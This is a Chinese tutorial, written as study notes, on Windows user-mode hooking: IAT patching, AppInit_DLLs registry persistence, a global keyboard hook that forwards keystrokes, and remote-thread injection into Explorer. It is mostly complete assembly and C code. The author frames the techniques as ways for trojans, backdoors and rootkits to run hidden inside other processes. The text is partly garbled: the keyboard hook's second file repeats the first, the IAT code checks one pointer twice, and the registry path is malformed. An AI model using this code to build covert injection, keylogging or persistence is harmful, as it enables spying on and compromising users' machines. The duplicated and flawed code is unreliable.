必备绝技——Hook大法(上)

 
【文章标题】 必备绝技—— Hook 大法(上)
【文章作者】 : LvG
【作者邮箱】 LvG2008@gmail.com
【作者声明】 这没有什么新鲜东西,其内容全部来自于前辈,姑且当作学习笔记。文字用自己的话写出,四段代码均出自别人(知道作者的,以注明),但短小精悍,就写在一起了,便于察看。欢迎指正。
【详细过程】
hook 概念:是一种通过更改程序的数据结构或代码结构从而改变程序运行路线的一种方法。(纯属本人自己观点
分类:从上面的概念来看,一种是改变程序的数据结构,如: IAT-hook Dll-inject Direct Kernel Object Manipulation DKOM) 。一种是 Inline Function Hooking
用途:现在这种方法普遍运用于各类程序中,如加壳,杀软,病毒, Rootkits 等等。
本文从难以程度上主要分三块详细介绍:一.用户模式 Hook:IAT-hook,Dll-inject 二.内核模式 Hook:ssdt-hook,idt-hook,int 2e/sysenter-hook 三. Inline Function Hook;
这次先来看第一部分
Ⅰ.用户模式 Hook
一. IAT-hooking
(一)一般原理: IAT Import Address Table (输入地址表)的简写,这需要你知道关于 win PE 格式的了解。现在应用程序中的大多数函数都是 windows api ,而这些函数一般都由几个系统 dll 导出,如 user32.dll,kernel32.dll,advapi32.dll 等。如果程序要运用这些函数,就的从这些 dll 文件中导入,程序会把导入的函数放到一个叫 IAT 的数据结构中。我们可以先找到自己需要 hook 的函数,然后把目标函数的地址改成我们自己的 hook 函数,最后在恢复到目标函数的地址。这样一来,目标函数被调用时,我们的 hook 函数也就别调用了。如果这个 hook 函数是病毒,是后门,是。。。。。。。。由于是在目标函数进程的空间内,所以这个 hook 函数也就不会被发现。
关于 WIN PE 格式的详细知识可参见: http://bbs.pediy.com/showthread.php?t=31840 << 加密与解密 >>
   (二)大体框架:这里用伪码给个一般框架,以便有个大体印象。
   文件 1 myhookfun()
        {
              可以创建一个新的线程,去执行木马或后门等功能
        }
   文件 2  include < 文件 1>
      寻找目标模块( GetModuleHandle
    if (目标模块找到)
        根据 pe 结构,在目标模块中定位目标函数的 IAT 地址(这个地址在加载时就确定了)
       if ( 目标函数在 IAT 中的地址找到)
            用我们的 myhookfun() 地址取代
       esle  退出
    esle  退出
    
   当然也可以合成一个文件,但这样分开的好处是可以实现模块化,可以分别关心各自的功能,也便于以后重用。
   (三)代码实例:
      .486 
      .model flat, stdcall 
      option casemap:none 
  
  include   windows.inc 
  include   kernel32.inc 
  includelib   kernel32.lib 
  include   user32.inc 
  includelib   user32.lib 
  
      .data 
  szMsgTitle  db   "IAT Hook", 0 
  szModule   db   "user32.dll", 0 
  szTargetFunc   db   "GetForegroundWindow", 0 
  szHooked   db   "This is in the hooked function - Seems to have worked.", 0 
  szFail     db   "Failed.", 0 
  
      .data? 
  
  IATHook   PROTO   STDCALL :DWORD, :DWORD, :DWORD 
  HookProc PROTO   STDCALL :LPVOID 
  
      .code 
  HookProc   proc   Arg1:LPVOID 
            invoke   MessageBox, NULL, addr szHooked, addr szMsgTitle, MB_OK 
            ret 
  HookProc   endp 
  
  IATHook   proc   pDLLName:LPVOID, pOldAddr:LPVOID, pNewAddr:LPVOID 
         LOCAL   hModule:HANDLE 
         LOCAL   dwVirtualAddr:DWORD 
         LOCAL   dwOrigProtect:DWORD 
         LOCAL   dwDllFound:DWORD 
         LOCAL   dwFunctionFound:DWORD 
             ;Local variables 
      
         .if   pDLLName == NULL 
             ;Check for NULL pointer 
              xor   eax, eax 
              ret 
         .endif 
         .if   pOldAddr == NULL 
             ;Check for NULL pointer 
              xor   eax, eax 
              ret 
         .endif 
         .if   pOldAddr == NULL 
             ;Check for NULL pointer 
              xor   eax, eax 
              ret 
         .endif 
      
         mov dwDllFound, 0 
         mov dwFunctionFound, 0 
             ;Initialize 
      
         invoke   GetModuleHandle, NULL 
             ;Get the main module's base address 
         mov   hModule, eax 
             ;Copy it into hModule 
      
         mov   edi, hModule 
         assume   edi:ptr IMAGE_DOS_HEADER 
             ;Make edi act as IMAGE_DOS_HEADER struct 
         .if   edi == NULL 
             ;Check for NULL pointer 
              xor   eax, eax 
              ret 
                ;Return 0 
         .endif 
      
         .if   [edi].e_magic != IMAGE_DOS_SIGNATURE 
             ;0x4D 0x5A (MZ) 
              xor   eax, eax 
              ret 
                ;Return 0 
         .endif 
      
         add   edi, [edi].e_lfanew 
             ;pNtHeader = (IMAGE_NT_HEADERS*)((DWORD)pDosHeader + (DWORD)pDosHeader->e_lfanew); 
      
         assume   edi:ptr IMAGE_NT_HEADERS 
             ;Make edi act as IMAGE_NT_HEADERS struct 
         .if   edi == NULL 
             ;Check for NULL pointer 
              xor   eax, eax 
              ret 
                ;Return 0 
         .endif 
      
         .if   [edi].Signature != IMAGE_NT_SIGNATURE 
             ;If it's an invalid NT header 
             ;0x50 0x45 0x00 0x00 (PE/0/0) 
              xor   eax, eax 
              ret 
                ;Return 0 
         .endif 
      
         mov   edx, [edi].OptionalHeader.DataDirectory[sizeof IMAGE_DATA_DIRECTORY].VirtualAddress 
         mov   dwVirtualAddr, edx 
             ;Copy the VirtualAddress into dwVirtualAddr 
      
         .if   dwVirtualAddr == 0 
             ;Invalid virtual address 
              xor   eax, eax 
              ret 
                ;Return 0 
         .endif    
  
         mov   edi, hModule 
         add   edi, dwVirtualAddr 
             ;pImportHeader = (IMAGE_IMPORT_DESCRIPTOR*)((DWORD)pDosHeader + dwVirtualAddr); 
      
         assume   edi:ptr IMAGE_IMPORT_DESCRIPTOR 
             ;Make edi act as IMAGE_IMPORT_DESCRIPTOR struct 
         .if   edi == NULL 
             ;Check for NULL pointer 
              xor   eax, eax 
              ret 
                ;Return 0 
         .endif 
      
         .while [edi].Name1 != NULL 
              mov   ecx, hModule 
              add   ecx, [edi].Name1 
                ;pModuleLabel = (char*)((DWORD)pDosHeader + (DWORD)pImportHeader->Name); 
  
              mov   edx, pDLLName 
              invoke   lstrcmpi, ecx, edx 
                ;Check if this is the DLL we are looking for 
         
              .if   eax == 0 
                ;This is the DLL we are looking for 
                 mov dwDllFound, 1 
                 ;Set ecx to 0, so we know later if the DLL was found 
               .break 
              .endif 
         
              add edi, sizeof IMAGE_IMPORT_DESCRIPTOR 
                ;Next DLL 
         .endw 
      
         .if   dwDllFound != 1 
             ;If the DLL wasn't found 
              xor   eax, eax 
              ret 
                ;Return 0 
         .endif 
      
         mov   edi, [edi].FirstThunk 
         add   edi, hModule 
             ;pThunkData = (IMAGE_THUNK_DATA*)((DWORD)pDosHeader + (DWORD)pImportHeader->FirstThunk); 
      
         assume   edi:ptr IMAGE_THUNK_DATA 
             ;Make edi act as IMAGE_THUNK_DATA struct 
      
         .while   [edi].u1.Function != NULL 
              mov ecx, hModule 
              add ecx, [edi].u1.Function 
         
              mov edx, [edi].u1.Function 
                ;Copies the current functions address (in the IAT table) into edx 
         
            .if   pOldAddr == edx 
                ;If this is the function we are going to hook 
                  lea ebx, [edi].u1.Function 
                    ;Copy the address in the table that the function is stored in, into ebx 
               
                  invoke VirtualProtect, ebx, 4, PAGE_WRITECOPY, addr dwOrigProtect 
                    ;Unprotect the memory where we are going to overwrite (We need 4 bytes --- DWORD = 4 bytes) 
               
                  mov eax, pNewAddr 
                    ;Copy the address we are going to replace it with into eax 
                  mov [ebx], eax 
                    ;Patch the address 
                           
                  invoke VirtualProtect, ebx, 4, addr dwOrigProtect, NULL 
                    ;Restore the original protection level 
               
                  mov dwFunctionFound, 1 
                    ;Set the value, for later 
               
                  .break 
            .endif 
         
              add   edi, sizeof IMAGE_THUNK_DATA 
                ;Next thunk 
         .endw 
      
         .if   dwFunctionFound != 1 
             ;If the function wasn't found 
              xor   eax, eax 
              ret 
                ;Return 0 
         .endif 
      
         
           mov eax, 1 
           ret 
             ;Return 1 
      
             ;Success 
  IATHook   endp 
  
  start: 
         invoke   GetModuleHandle, addr szModule 
         invoke   GetProcAddress, eax, addr szTargetFunc 
      
         mov   ebx, HookProc 
      
         invoke   IATHook, addr szModule, eax, ebx      ;Redirect GetForegroundWindow (eax) to HookProc (ebx) 
         .if   eax == 0 
              invoke   MessageBox, NULL, addr szFail, addr szMsgTitle, MB_OK 
              invoke   ExitProcess, 0 
         .endif 
  
             ;Is now hooked, hopefully.. so lets call it 
         invoke   GetForegroundWindow 
 
         invoke   ExitProcess, 0 
  end     start
  
   (四)局限性:1当程序运用一种叫 late-demand binding 技术,函数被调用时才定位地址,这样以来就不能在 IAT 中定位目标函数地址了.2当目标程序用动态加载( LoadLibrary) 时,这种方法也将失效.
  
   二. Dll-Injecting
   (一)通过注册表注入 Dll
  1 .一般原理: Windows 的注册表中有这样一个键值,
  HKEY_LOCAL_MACHINE/Software/Microsoft/Windows NT/CurrentVersion/Windows/AppInit_Dlls 。在这个键下的值都会被系统的任何一个 GUI 程序所加载,其实就是只要程序调用了 User32.dll ,则 User32.dll DllMain 函数在初始化时,会把这个键下的 Dll 自动加载,除非是命令行程序。记得求职信病毒用的就是这一招。
  2 .大体框架:这个方法要操作注册表,简要介绍一下几个主要的操作注册表的函数
  RegCreateKeyEx:   创建一个子键
  RegOpenKeyEx:   打开子键   
  RegQuetyValueEx: 获取一个项的值 
  RegSetValueEx:   设置指定项的值 
  
   文件 1
          myHookDll
    {
       特定目的的 Dll
    }
   文件 2
         myHookDll.dll 拷贝到系统目录
         RegCreateKeyEx  创建 AppInit_Dlls
         RegQuetyValueEx  获取这个项
          找到 myHookDll.dll 路径
         RegSetValueEx  myHookDll.Dll 设置成 AppInit_Dlls
  3 .代码实例:
  #include <windows.h>
  #include <commctrl.h>
  #include <tchar.h>
  
  #pragma comment(linker, "/opt:nowin98")
  #pragma comment(linker, "/merge:.text=.data")
  #pragma comment(linker, "/merge:.rdata=.data")
  
  #define REGLOC _T("SOFTWARE//Microsoft//Windows NT//CurrentVersion//Windows")
  
  HHOOK  g_hHook;
  TCHAR  g_szPath[MAX_PATH];
  TCHAR  g_szCurrent[0x1000];
  HMODULE g_hInstance;
  
  HKEY GetRegLoc()
  {
    HKEY hKey = 0;
    RegCreateKeyEx(HKEY_LOCAL_MACHINE, REGLOC, 0, 0, 0, KEY_ALL_ACCESS, 0, &hKey, 0);
    return hKey;
  }
  
  #pragma comment(linker, "/export:DllRegisterServer=_DllRegisterServer@0,PRIVATE")
  #pragma comment(linker, "/export:DllUnregisterServer=_DllUnregisterServer@0,PRIVATE")
  
  char *stristr(const char *String, const char *Pattern)
  {
    char *pptr, *sptr, *start;
    
    for (start = (char *)String; *start != 0; start++)
    {
      // find start of pattern in string
      for( ; ((*start!=0) && (toupper(*start) != toupper(*Pattern))); start++)
        ;
  
      if(0 == *start)
        return NULL;
      
      pptr = (char *)Pattern;
      sptr = (char *)start;
      
      while(toupper(*sptr) == toupper(*pptr))
      {
        sptr++;
        pptr++;
        
        // if end of pattern then pattern was found
        if(0 == *pptr)
          return start;
      }
    }
  
    return NULL;
  }
  
  //
  //  DllRegisterServer. 
  //
  STDAPI DllRegisterServer()
  {
    HKEY hKey;
    DWORD type;
    DWORD len;
    DWORD ret = E_UNEXPECTED;
  
    if((hKey = GetRegLoc()) == 0)
      return E_UNEXPECTED;
  
    // Get current AppInit_Dlls string
    if(ERROR_SUCCESS == RegQueryValueEx(hKey, _T("AppInit_Dlls"), 0, &type, g_szCurrent, &len))
    {
      // Make sure aren't already registered
      char *ptr = stristr(g_szCurrent, g_szPath);
      g_szCurrent[len] = 0;
  
      if(g_szCurrent[0] != 0)
        lstrcat(g_szCurrent, _T(","));
  
      ret = S_OK;
  
      // append our DLL path to the AppInit_Dlls path
      if(ptr == 0)
      {
        lstrcat(g_szCurrent, g_szPath);
        len = lstrlen(g_szCurrent);
        RegSetValueEx(hKey, _T("AppInit_Dlls"), 0, REG_SZ, g_szCurrent, len);
      }
    }
    
    RegCloseKey(hKey);
  
    return ret;
  }
  
  STDAPI DllUnregisterServer()
  {
    HKEY hKey;
    DWORD type;
    DWORD len;
    DWORD ret = E_UNEXPECTED;
  
    if((hKey = GetRegLoc()) == 0)
      return E_UNEXPECTED;
  
    // Get current AppInit_Dlls string
    if(ERROR_SUCCESS == RegQueryValueEx(hKey, _T("AppInit_Dlls"), 0, &type, g_szCurrent, &len))
    {
      // Find where our DLL path is stored
      char *ptr = stristr(g_szCurrent, g_szPath);
  
      ret = S_OK;
  
      if(ptr != 0)
      {
        len = lstrlen(g_szPath);
        
        if(ptr > 0 && ptr[-1] == ',')
        {
          ptr--;
          len++;
        }
  
        memmove(ptr, ptr + len, lstrlen(g_szCurrent) - len + 1);
        RegSetValueEx(hKey, _T("AppInit_Dlls"), 0, REG_SZ, g_szCurrent, len);
      }
    }
  
    RegCloseKey(hKey);
  
    return S_OK;
  }
  
  //
  //  Computer-based training hook. Used to trap window creation
  //  of a common dialog (Open/Save), so that the ListView contained
  //  in these dialogs can be changed to report-view before it is displayed.
  //
  static LRESULT CALLBACK CBTProc(int nCode, WPARAM wParam, LPARAM lParam)
  {
    if(nCode == HCBT_CREATEWND)
    {
      HWND hwnd = (HWND)wParam;
      HWND hwndParent;
  
      CBT_CREATEWND *cw = (CBT_CREATEWND *)lParam;
  
      TCHAR szClass[32];
      GetClassName(hwnd, szClass, 32);
  
      // Is this a ListView being created?
      if(lstrcmpi(szClass, _T("SysListView32")) == 0)
      {
        HMODULE hModule = GetModuleHandle(_T("comdlg32.dll"));
  
        hwndParent = cw->lpcs->hwndParent;
  
        if(hModule != (HMODULE)GetWindowLong(hwndParent, GWL_HINSTANCE))
          hwndParent = GetParent(hwndParent);
      
        // Make sure the parent window (the dialog) was created by
        // the common-dialog library 
        if(hModule == (HMODULE)GetWindowLong(hwndParent, GWL_HINSTANCE))
        {
          PostMessage(cw->lpcs->hwndParent, WM_COMMAND, MAKEWPARAM(28716, 0), 0);
        }
        /*else 
        {
          GetClassName(cw->lpcs->hwndParent, szClass, 32);
          
          if(lstrcmpi(szClass, _T("SHELLDLL_DefView")) == 0)
          {
            PostMessage(cw->lpcs->hwndParent, WM_COMMAND, MAKEWPARAM(28716, 0), 0);
          }
        }*/
      }
    }
  
    return CallNextHookEx(g_hHook, nCode, wParam, lParam);
  }
  
  void InstallHook(DWORD dwThreadId)
  {
    g_hHook = SetWindowsHookEx(WH_CBT, CBTProc, 0, dwThreadId);
  }
  
  void RemoveHook(DWORD dwThreadId)
  {
    UnhookWindowsHookEx(g_hHook);
    g_hHook = 0;
  }
  
  BOOL WINAPI DllMain(HMODULE hInstance, DWORD dwReason, PVOID lpReserved)
  {
    switch(dwReason)
    {
    case DLL_PROCESS_ATTACH:
  
      g_hInstance = hInstance;
      GetModuleFileName(hInstance, g_szPath, MAX_PATH);
  
      DisableThreadLibraryCalls(hInstance);
  
      InstallHook(GetCurrentThreadId());
  
      return TRUE;
  
    case DLL_PROCESS_DETACH:
      RemoveHook(GetCurrentThreadId());
      break;
    }
  
    return TRUE;
  }
  
  #ifdef _DEBUG
  int main()
  {
    return 0;
  }
  #endif
  
  BOOL WINAPI _DllMainCRTStartup(HMODULE hInstance, DWORD dwReason, PVOID lpReserved)
  {
    return DllMain(hInstance, dwReason, lpReserved);
  }
  
        
  4 .局限性:由于这种方法太显而易见,所以很容易被发现。
  
   (二)通过消息钩子
  1 .基本原理:微软自己定义了一个钩子函数,这个钩子可以钩住系统的任何一类消息,并产生相关的回调函数。比如我们设置的是键盘钩子,如果用户按下键盘的键,就可以触发一个我们自定义功能的回调函数。
  2 .大体框架:
   文件 1 :产生特定功能的 Dll ,并设置钩子
         SetWindowsHookEx(WH_KEYBOARD, myKeyBrdFuncAd, myDllHandle, 0),
  
   文件 2 :将 Dll 设置到特定目录,隐藏等
          安装钩子函数,只要另一个进程按下了键,则钩子启动,加载 Dll
          卸载钩子
  3. 代码实例:
   文件 1
  ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  ; Sample code for < Win32ASM Programming 2nd Edition>
  ; by  罗云彬 http://asm.yeah.net
  ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  ; Hookdll.asm
  ;  键盘钩子使用的  dll  程序
  ;  用来方置钩子过程
  ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  ;  使用  nmake  或下列命令进行编译和链接 :
  ; ml /c /coff Hookdll.asm
  ; Link  /subsystem:windows /section:.bss,S /Def:Hookdll.def /Dll Hookdll.obj
  ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  
      .386
      .model flat, stdcall
      option casemap :none
  ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  ; Include  文件定义
  ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  include    windows.inc
  include    user32.inc
  includelib  user32.lib
  include    kernel32.inc
  includelib  kernel32.lib
  ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
      .data
  hInstance  dd  ?
  
      .data?
  hWnd    dd  ?
  hHook    dd  ?
  dwMessage  dd  ?
  szAscii    db  4 dup (?)
  ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
      .code
  ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  ; dll  的入口函数
  ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  DllEntry  proc  _hInstance,_dwReason,_dwReserved
  
      push  _hInstance
      pop  hInstance
      mov  eax,TRUE
      ret
  
  DllEntry  Endp
  ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  ;  键盘钩子回调函数
  ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  HookProc  proc  _dwCode,_wParam,_lParam
      local  @szKeyState[256]:byte
  
      invoke  CallNextHookEx,hHook,_dwCode,_wParam,_lParam
      invoke  GetKeyboardState,addr @szKeyState
      invoke  GetKeyState,VK_SHIFT
      mov  @szKeyState + VK_SHIFT,al
      mov  ecx,_lParam
      shr  ecx,16
      invoke  ToAscii,_wParam,ecx,addr @szKeyState,addr szAscii,0
      mov  byte ptr szAscii [eax],0
      invoke  SendMessage,hWnd,dwMessage,dword ptr szAscii,NULL
      xor  eax,eax
      ret
  
  HookProc  endp
  ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  ;  安装钩子
  ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  InstallHook  proc  _hWnd,_dwMessage
  
      push  _hWnd
      pop  hWnd
      push  _dwMessage
      pop  dwMessage
      invoke  SetWindowsHookEx,WH_KEYBOARD,addr HookProc,hInstance,NULL
      mov  hHook,eax
      ret
  
  InstallHook  endp
  ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  ;  卸载钩子
  ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  UninstallHook  proc
  
      invoke  UnhookWindowsHookEx,hHook
      ret
  
  UninstallHook  endp
  ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
      End  DllEntry
   文件 2
  ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  ; Sample code for < Win32ASM Programming 2nd Edition>
  ; by  罗云彬 http://asm.yeah.net
  ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  ; Hookdll.asm
  ;  键盘钩子使用的  dll  程序
  ;  用来方置钩子过程
  ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  ;  使用  nmake  或下列命令进行编译和链接 :
  ; ml /c /coff Hookdll.asm
  ; Link  /subsystem:windows /section:.bss,S /Def:Hookdll.def /Dll Hookdll.obj
  ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
      .386
      .model flat, stdcall
      option casemap :none
  ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  ; Include  文件定义
  ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  include    windows.inc
  include    user32.inc
  includelib  user32.lib
  include    kernel32.inc
  includelib  kernel32.lib
  ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
      .data
  hInstance  dd  ?
  
      .data?
  hWnd    dd  ?
  hHook    dd  ?
  dwMessage  dd  ?
  szAscii    db  4 dup (?)
  ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
      .code
  ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  ; dll  的入口函数
  ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  DllEntry  proc  _hInstance,_dwReason,_dwReserved
  
      push  _hInstance
      pop  hInstance
      mov  eax,TRUE
      ret
  
  DllEntry  Endp
  ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  ;  键盘钩子回调函数
  ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  HookProc  proc  _dwCode,_wParam,_lParam
      local  @szKeyState[256]:byte
  
      invoke  CallNextHookEx,hHook,_dwCode,_wParam,_lParam
      invoke  GetKeyboardState,addr @szKeyState
      invoke  GetKeyState,VK_SHIFT
      mov  @szKeyState + VK_SHIFT,al
      mov  ecx,_lParam
      shr  ecx,16
      invoke  ToAscii,_wParam,ecx,addr @szKeyState,addr szAscii,0
      mov  byte ptr szAscii [eax],0
      invoke  SendMessage,hWnd,dwMessage,dword ptr szAscii,NULL
      xor  eax,eax
      ret
  
  HookProc  endp
  ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  ;  安装钩子
  ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  InstallHook  proc  _hWnd,_dwMessage
  
      push  _hWnd
      pop  hWnd
      push  _dwMessage
      pop  dwMessage
      invoke  SetWindowsHookEx,WH_KEYBOARD,addr HookProc,hInstance,NULL
      mov  hHook,eax
      ret
  
  InstallHook  endp
  ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  ;  卸载钩子
  ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  UninstallHook  proc
  
      invoke  UnhookWindowsHookEx,hHook
      ret
  
  UninstallHook  endp
  ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
      End  DllEntry
  
  4 .局限性:会产生 Dll 体,虽然没有进程,但可以通过其他工具轻易发现
   (三)通过创建远程线程
  1 .一般思路:远程线程,顾名思义就是在其他进程中创建一个线程,如果这个进程是系统每次启动必须加载的,那么就能每次有注入目标。这主要通过 CreateRemoteThread 函数完成。
  2 .大体框架:
   文件 1 :可以重定位的代码,或是 DLL, 这个代码当然是有特定目的的
   文件 2 :查找特定进程,如文件管理器,打开进程
          VirtualAllocEx 函数在进程中申请分配空间
          WriteProcessMemory 函数将远程线程中的代码拷贝到申请到的空间
          CreateRemoteThread 函数创建远程线程
  3 .代码实例:
   文件 1 :一段可重定位代码
  REMOTE_CODE_START  equ this byte
  
  _lpLoadLibary    dd  ?  ; 输入函数地址表
  _lpGetProcAddress  dd  ?
  _lpGetModuleHandle  dd  ?
  
  _lpMessageBox    dd  ?
  
            ; 全局变量表
  _hInstance  dd  ?
  _szDllUser  db  'User32.dll',0
  _szMessageBox  db  'MessageBox',0
  _szCaption  db  'A rootkit !',0
  _szText    db  'Hello,im LvG,but you cant find me!',0
  
      .code
  _RemoteThread  proc  uses ebx edi esi lParam
      local  @hModule 
      local  @hInstance
      
      call  @F
      @@:
      pop  ebx
      sub  ebx, offset @B
      
      _invoke  [ebx, _lpGetModuleHandle],NULL
      mov  [ebx, _hInstance], eax
      
      
      lea  eax, [ebx + offset _szDllUser]
      _invoke  [ebx + _lpGetModuleHandle], eax
      mov  @hModule, eax
      lea  esi, [ebx + offset _szMessageBox]
      _invoke  [ebx + _lpGetProcAddress], @hModule, esi
      mov  [ebx + offset _lpMessageBox], eax
      lea  eax, [ebx + offset _szCaption]
      lea  ecx, [ebx + offset _szText]
    
      _invoke [ebx + _lpMessageBox], NULL, ecx, eax,MB_OK
      ret
  _RemoteThread  endp
  REMOTE_CODE_END  equ this byte
  REMOTE_CODE_LENGTH  equ offset REMOTE_CODE_END - offset REMOTE_CODE_START
   文件 2
      .386
      .model flat, stdcall
      option casemap :none
  ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  ; Include  文件定义
  ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  include    windows.inc
  include    user32.inc
  includelib  user32.lib
  include    kernel32.inc
  includelib  kernel32.lib
  include    Macro.inc
  ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  ;  数据段
  ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
      .data?
  lpLoadLibrary  dd  ?
  lpGetProcAddress dd  ?
  lpGetModuleHandle dd  ?
  dwProcessID  dd  ?
  dwThreadID  dd  ?
  hProcess  dd  ?
  lpRemoteCode  dd  ?
  
      .const
  szErrOpen    db  ' 无法打开远程线程 !',0
  szDesktopClass    db  'Progman',0
  szDesktopWindow    db  'Program Manager',0
  szDllKernel    db  'Kernel32.dll',0
  szLoadLibrary    db  'LoadLibraryA',0
  szGetProcAddress  db  'GetProcAddress',0
  szGetModuleHandle db  'GetModuleHandleA',0
  ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
      .code
  ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  
  include    RemoteCode.asm
  
  start:
      invoke  GetModuleHandle,addr szDllKernel
      mov  ebx,eax
      invoke  GetProcAddress,ebx,offset szLoadLibrary
      mov  lpLoadLibrary,eax
      invoke  GetProcAddress,ebx,offset szGetProcAddress
      mov  lpGetProcAddress,eax
      invoke  GetProcAddress,ebx,offset szGetModuleHandle
      mov  lpGetModuleHandle,eax
  ;********************************************************************
  ;  查找文件管理器窗口并获取进程 ID ,然后打开进程
  ;********************************************************************
      invoke  FindWindow,addr szDesktopClass,addr szDesktopWindow
      invoke  GetWindowThreadProcessId,eax,offset dwProcessID
      mov  dwThreadID,eax
      invoke  OpenProcess,PROCESS_CREATE_THREAD or PROCESS_VM_OPERATION or /
        PROCESS_VM_WRITE,FALSE,dwProcessID
      .if  eax
        mov  hProcess,eax
  ;********************************************************************
  ;  在进程中分配空间并将执行代码拷贝过去,然后创建一个远程线程
  ;********************************************************************
        invoke  VirtualAllocEx,hProcess,NULL,REMOTE_CODE_LENGTH,MEM_COMMIT,PAGE_EXECUTE_READWRITE
        .if  eax
          mov  lpRemoteCode,eax
          invoke  WriteProcessMemory,hProcess,lpRemoteCode,/
            offset REMOTE_CODE_START,REMOTE_CODE_LENGTH,NULL
          invoke  WriteProcessMemory,hProcess,lpRemoteCode,/
            offset lpLoadLibrary,sizeof dword * 3,NULL
          mov  eax,lpRemoteCode
          add  eax,offset _RemoteThread - offset REMOTE_CODE_START
          invoke  CreateRemoteThread,hProcess,NULL,0,eax,0,0,NULL
          invoke  CloseHandle,eax
        .endif
        invoke  CloseHandle,hProcess
      .else
        invoke  MessageBox,NULL,addr szErrOpen,NULL,MB_OK or MB_ICONWARNING
      .endif
      invoke  ExitProcess,NULL
